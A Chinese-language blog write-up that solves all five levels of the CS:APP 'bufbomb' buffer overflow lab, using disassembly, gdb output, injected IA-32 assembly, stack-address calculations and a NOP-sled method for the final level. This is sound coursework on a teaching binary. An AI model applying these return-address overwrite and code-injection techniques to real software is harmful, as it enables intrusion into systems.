bufbomb-緩衝區溢出實驗

實驗目的

本實驗的目的在於加深對IA-32函數調用規則和棧結構的具體理解。實驗的主要內容是對一個可執行程序”bufbomb”實施一系列緩衝區溢出攻擊(buffer overflow attacks),也就是設法通過造成緩衝區溢出來改變該可執行程序的運行內存映像,例如將給定的字節序列插入到其本不應出現的內存位置。
實驗中你需要對目標可執行程序BUFBOMB分別完成5個難度遞增的緩衝區溢出攻擊。5個難度級分別命名爲Candle(level 0)、Sparkler(level 1)、Firecracker(level 2)、Dynamite(level 3)和Nitroglycerin(level 4),其中Candle級最簡單而Nitroglycerin級最困難

實驗分析

1.Level 0: Candle

使用objdump得到彙編代碼如下,因此需要將返回地址設置爲0x08048c90

08048c90 <smoke>:
...
...

Test部分代碼如下:

08048e6d <test>:
 8048e6d:       55                      push   %ebp
 8048e6e:       89 e5                   mov    %esp,%ebp
 8048e70:       53                      push   %ebx
 8048e71:       83 ec 24                sub    $0x24,%esp
 8048e74:       e8 6e ff ff ff          call   8048de7 <uniqueval>
 8048e79:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048e7c:       e8 6b 03 00 00          call   80491ec <getbuf>
 8048e81:       89 c3                   mov    %eax,%ebx
...

Getbuf代碼如下:

080491ec <getbuf>:
 80491ec:       55                      push   %ebp
 80491ed:       89 e5                   mov    %esp,%ebp
 80491ef:       83 ec 38                sub    $0x38,%esp
 80491f2:       8d 45 d8                lea    -0x28(%ebp),%eax
 80491f5:       89 04 24                mov    %eax,(%esp)
 80491f8:       e8 55 fb ff ff          call   8048d52 <Gets>
 80491fd:       b8 01 00 00 00          mov    $0x1,%eax
 8049202:       c9                      leave
 8049203:       c3                      ret

調用Gets之前getbufn的棧如下:

內容 含義 在棧中的地址
getbuf返回後執行的函數的第一個參數 0x5568336c
攻擊代碼的返回地址 0x55683368
正常值:0x08048e81 返回地址 0x55683364
正常值:0x55683390 test的幀指針
字符串地址 0x55683338

根據返回地址在棧中的地址和字符串地址可以很容易算出字符串包含48個字節,最後4個字節是smoke的地址

2.Level 1: Sparkler

和level0相同,這裏只需要將返回地址設爲fizz的返回地址0x08048cba,並將0x5568336c處的值設置爲makecookie產生的值即可

3.Level 2: Firecracker

bang部分代碼如下:

08048d05 <bang>:
 8048d05:       55                      push   %ebp
 8048d06:       89 e5                   mov    %esp,%ebp
 8048d08:       83 ec 18                sub    $0x18,%esp
 8048d0b:       a1 18 c2 04 08          mov    0x804c218,%eax
 8048d10:       3b 05 20 c2 04 08       cmp    0x804c220,%eax
...

使用gdb查看0x804c218和0x804c220的值:

(gdb) x/x 0x804c218
0x804c218 <global_value>:   0x00000000
(gdb) x/x 0x804c220
0x804c220 <cookie>: 0x5a22d669

可知需要將0x804c218處的值設置爲cookie的值,應該插入的代碼如下:

movl $0x5a22d669,0x0804c218
ret

如果將代碼放在字符串的起始地址,需要將getbuf的返回地址設置爲字符串的起始地址,並將攻擊代碼的返回地址設置爲bang的地址

4.Level 3: Dynamic

getbuf的返回值存在%eax中,因此將%eax設置爲cookie值,由於getbuf返回時棧指針加了4,因此需將棧指針再減4,將test中的返回地址存入棧中再返回,代碼如下:

movl $0x5a22d669,%eax
subl $4,%esp
movl $0x08048e81,(%esp)
ret

同level2,將代碼放在字符串的起始地址,將getbuf的返回地址設置爲字符串的起始地址

5.Level 4: Nitroglycerin

Testn部分代碼如下:

08048e01 <testn>:
 8048e01:       55                      push   %ebp
 8048e02:       89 e5                   mov    %esp,%ebp
 8048e04:       53                      push   %ebx
 8048e05:       83 ec 24                sub    $0x24,%esp
 8048e08:       e8 da ff ff ff          call   8048de7 <uniqueval>
 8048e0d:       89 45 f4                mov    %eax,-0xc(%ebp)
 8048e10:       e8 ef 03 00 00          call   8049204 <getbufn>
 8048e15:       89 c3                   mov    %eax,%ebx
...
08049204 <getbufn>:
 8049204:       55                      push   %ebp
 8049205:       89 e5                   mov    %esp,%ebp
 8049207:       81 ec 18 02 00 00       sub    $0x218,%esp
 804920d:       8d 85 f8 fd ff ff       lea    -0x208(%ebp),%eax
 8049213:       89 04 24                mov    %eax,(%esp)
 8049216:       e8 37 fb ff ff          call   8048d52 <Gets>
 804921b:       b8 01 00 00 00          mov    $0x1,%eax
 8049220:       c9                      leave
 8049221:       c3                      ret
...

分析代碼可知兩者幀的相對位置沒有變化,因此getbufn執行ret之時的esp與testn的幀指針的差值固定,在插入攻擊代碼時後者存儲在棧中的位置遭到破壞,但是可以根據前者計算處後者,使用gdb查看這兩個值:

(gdb) b *0x8048e04
Breakpoint 1 at 0x8048e04
(gdb) b *0x8049221
Breakpoint 2 at 0x8049221
(gdb) run -u bovik -n
...
Breakpoint 1, 0x08048e04 in testn ()
(gdb) info registers ebp
ebp            0x55683390   0x55683390 <_reserved+1037200>
(gdb) continue
Continuing.
Type string:haha

Breakpoint 2, 0x08049221 in getbufn ()
(gdb) info registers esp
esp            0x55683364   0x55683364 <_reserved+1037156>
...

可知兩者的差值爲0x28
同level3,將eax的值設爲cookie,將esp減4,存放testn的返回地址
代碼如下:

movl $0x5a22d669,%eax
leal 0x28(%esp),%ebp
subl $4,%esp
movl $0x08048e15,(%esp)
ret

但是與前四關不同的是,字符串的起始地址不同,攻擊代碼的位置也就不同,同樣使用gdb查看5次運行時getbufn的幀指針,推算相應的字符串起始地址爲:

次數 字符串地址
1 0x55683158
2 0x55683178
3 0x556830e8
4 0x55683158
5 0x556831a8

因此,只需將getbufn的返回地址設爲大於等於0x556831a8的值,並將返回地址和實際代碼之間以nop填補即可

特別提醒

  • 在最後一關的時候,我通過一步步查看程序運行狀況,確定程序使用了一個5元素地址存放整個偏移量,還有一個levelcount數組存放相應level時validate應該運行的次數,因此最初的思路是根據這兩個值恢復ebp,結果異常詭異:程序在gdb裏一遍一遍運行都能通過,但是在shell裏面就是段錯誤,後來在gentoo上面的gdb裏面調試,才找出了錯誤原因:原來偏移量數組地址會變!!想起來這個數組是通過calloc分配的,所以地址可能會變。可是坑爹的gdb每次運行數組地址都是一樣的!!亂入三體裏面一句記得不太清楚的話,大意是:不管事情看上去多麼奇怪,不要懷疑,背後一定有人搞鬼!
  • 另外這個程序本身寫得比較奇特,有比較高的研究價值,哈哈哈哈哈
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章